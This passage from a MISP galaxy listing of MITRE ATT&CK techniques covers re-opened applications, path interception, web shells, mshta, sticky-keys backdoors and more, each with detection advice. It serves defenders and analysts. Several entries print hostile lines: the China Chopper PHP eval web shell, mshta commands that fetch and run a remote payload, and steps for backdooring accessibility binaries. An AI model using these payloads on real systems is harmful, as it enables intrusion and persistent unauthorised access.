Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).

Detection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.

Platforms: macOS

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Re-opened Applications - T1164"*

Table 2013. Table References

Links
https://attack.mitre.org/wiki/Technique/T1164
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Remote System Discovery - T1018

Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used.

===Windows===

Examples of tools and commands that acquire this information include "ping" or "net view" using Net.

===Mac===

Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems.

===Linux===

Utilities such as "ping" and others can be used to gather information about remote systems.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network

Permissions Required: User, Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote System Discovery - T1018"*

Table 2014. Table References

Links
https://attack.mitre.org/wiki/Technique/T1018

Permission Groups Discovery - T1069

Adversaries may attempt to find local system or domain-level groups and permissions settings.

===Windows===

Examples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.

===Mac===

On Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.

===Linux===

On Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, Windows, macOS

Data Sources: API monitoring, Process command-line parameters, Process monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Permission Groups Discovery - T1069"*

Table 2015. Table References

Links
https://attack.mitre.org/wiki/Technique/T1069

Indirect Command Execution - T1202

Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

Adversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd.

Detection: Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017)

Platforms: Windows

Data Sources: Process Monitoring, Process command-line parameters, Windows event logs

Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path

Permissions Required: User

Contributors: Matthew Demaske, Adaptforward

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Indirect Command Execution - T1202"*

Table 2016. Table References

Links
https://attack.mitre.org/wiki/Technique/T1202
https://twitter.com/vector%20sec/status/896049052642533376
https://twitter.com/Evi1cg/status/935027922397573120
https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe

File Deletion - T1107

Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)

Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.

Platforms: Linux, Windows, macOS

Data Sources: Binary file metadata, File monitoring, Process command-line parameters

Defense Bypassed: Host forensic analysis

Permissions Required: User

Contributors: Walker Johnson

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="File Deletion - T1107"*

Table 2017. Table References

Links
https://attack.mitre.org/wiki/Technique/T1107
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/

Path Interception - T1034

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

===Unquoted Paths=== Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program.

===PATH Environment Variable Misconfiguration=== The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.

===Search Order Hijacking=== Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.

Detection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Platforms: Windows

Data Sources: File monitoring, Process monitoring

Effective Permissions: User, Administrator, SYSTEM

Permissions Required: User, Administrator, SYSTEM

Contributors: Stefan Kanthak

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Path Interception - T1034"*

Table 2018. Table References

Links
https://attack.mitre.org/wiki/Technique/T1034
https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
http://support.microsoft.com/KB/103000
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
http://msdn.microsoft.com/en-us/library/ms682425
http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
http://msdn.microsoft.com/en-us/library/ms687393
https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx

Bootkit - T1067

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

===Master Boot Record=== The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

===Volume Boot Record=== The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

Detection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.

Platforms: Linux, Windows

Data Sources: API monitoring, MBR, VBR

Permissions Required: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Bootkit - T1067"*

Table 2019. Table References

Links
https://attack.mitre.org/wiki/Technique/T1067
http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion

https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf

Indicator Removal on Host - T1070

Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.

Detection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process command-line parameters, Process monitoring

Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Indicator Removal on Host - T1070"*

Table 2020. Table References

Links
https://attack.mitre.org/wiki/Technique/T1070

Exfiltration Over Other Network Medium - T1011

Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

Detection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.

Platforms: Linux, macOS, Windows

Data Sources: User interface, Process monitoring

Requires Network: Yes

Contributors: Itzik Kotler, SafeBreach

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Other Network Medium - T1011"*

Table 2021. Table References

Links
https://attack.mitre.org/wiki/Technique/T1011

Data from Local System - T1005

Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.

Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.

Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process monitoring, Process command-line parameters

System Requirements: Privileges to access certain files and directories

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Local System - T1005"*

Table 2022. Table References

Links
https://attack.mitre.org/wiki/Technique/T1005

Web Shell - T1100

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)

Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

Detection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)

<code><?php @eval($_POST['password']);></code>

Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

Platforms: Linux, macOS, Windows

Data Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow

Effective Permissions: User, SYSTEM

System Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Shell - T1100"*

Table 2023. Table References

Links
https://attack.mitre.org/wiki/Technique/T1100
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.us-cert.gov/ncas/alerts/TA15-314A

Kernel Modules and Extensions - T1215

Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)

Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)

Detection: LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)

Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package.

Adversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)

On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code>

On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>

Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe insmod lsmod rmmod modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)

For macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.

Platforms: Linux, macOS

Data Sources: System calls, Process Monitoring, Process command-line parameters

Permissions Required: root

Contributors: Jeremy Galloway, Red Canary

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Kernel Modules and Extensions - T1215"*

Table 2024. Table References

Links
https://attack.mitre.org/wiki/Technique/T1215
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
https://github.com/f0rb1dd3n/Reptile
https://github.com/m0nad/Diamorphine
http://www.megasecurity.org/papers/Rootkits.pdf
https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf

https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
https://en.wikipedia.org/wiki/Loadable%20kernel%20module#Linux
http://tldp.org/HOWTO/Module-HOWTO/x197.html

Service Registry Permissions Weakness - T1058

Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)

Detection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Platforms: Windows

Data Sources: Process command-line parameters, Services, Windows Registry

Effective Permissions: SYSTEM

Permissions Required: Administrator, SYSTEM

System Requirements: Ability to modify service values in the Registry

Contributors: Matthew Demaske, Adaptforward, Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Service Registry Permissions Weakness - T1058"*

Table 2025. Table References

Links
https://attack.mitre.org/wiki/Technique/T1058
https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://twitter.com/r0wdy%20/status/936365549553991680

Mshta - T1170

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>

They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)

Detection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.

Platforms: Windows

Data Sources: Process monitoring, Process command-line parameters

Defense Bypassed: Application whitelisting

Permissions Required: User

Remote Support: No

Contributors: Ricardo Dias, Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Mshta - T1170"*

Table 2026. Table References

Links
https://attack.mitre.org/wiki/Technique/T1170
https://en.wikipedia.org/wiki/HTML%20Application
https://msdn.microsoft.com/library/ms536471.aspx
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf
https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

Windows Admin Shares - T1077

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>.

Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)

The Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)

Detection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.

Platforms: Windows

Data Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring

Permissions Required: Administrator

System Requirements: File and printer sharing over SMB enabled. Host/network firewalls not blocking SMB ports between source and destination. Use of domain account in administrator group on remote system or default system admin account.

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Admin Shares - T1077"*

Table 2027. Table References

Links
https://attack.mitre.org/wiki/Technique/T1077
https://en.wikipedia.org/wiki/Server%20Message%20Block
https://technet.microsoft.com/en-us/library/cc787851.aspx
http://support.microsoft.com/kb/314984
https://technet.microsoft.com/bb490717.aspx
http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx
http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx

Winlogon Helper DLL - T1004

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013) * Winlogon\Notify - points to notification package DLLs that handle Winlogon events * Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on * Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.

Detection: Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.

Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Platforms: Windows

Data Sources: Windows Registry, File monitoring, Process monitoring

Permissions Required: Administrator, SYSTEM

Contributors: Praetorian

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Winlogon Helper DLL - T1004"*

Table 2028. Table References

Links
https://attack.mitre.org/wiki/Technique/T1004
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order

Dylib Hijacking - T1157

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X) If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

Detection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.

Platforms: macOS

Data Sources: File monitoring

Effective Permissions: Administrator, root

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Dylib Hijacking - T1157"*

Table 2029. Table References

Links
https://attack.mitre.org/wiki/Technique/T1157
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf

Remote Services - T1021

An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

Detection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.

Platforms: Linux, macOS, Windows

Data Sources: Authentication logs

System Requirements: Active remote service accepting connections and valid credentials

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote Services - T1021"*

Table 2030. Table References

Links
https://attack.mitre.org/wiki/Technique/T1021

Accessibility Features - T1015

Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

*On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code> *Magnifier: <code>C:\Windows\System32\Magnify.exe</code> *Narrator: <code>C:\Windows\System32\Narrator.exe</code> *Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code> *App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>

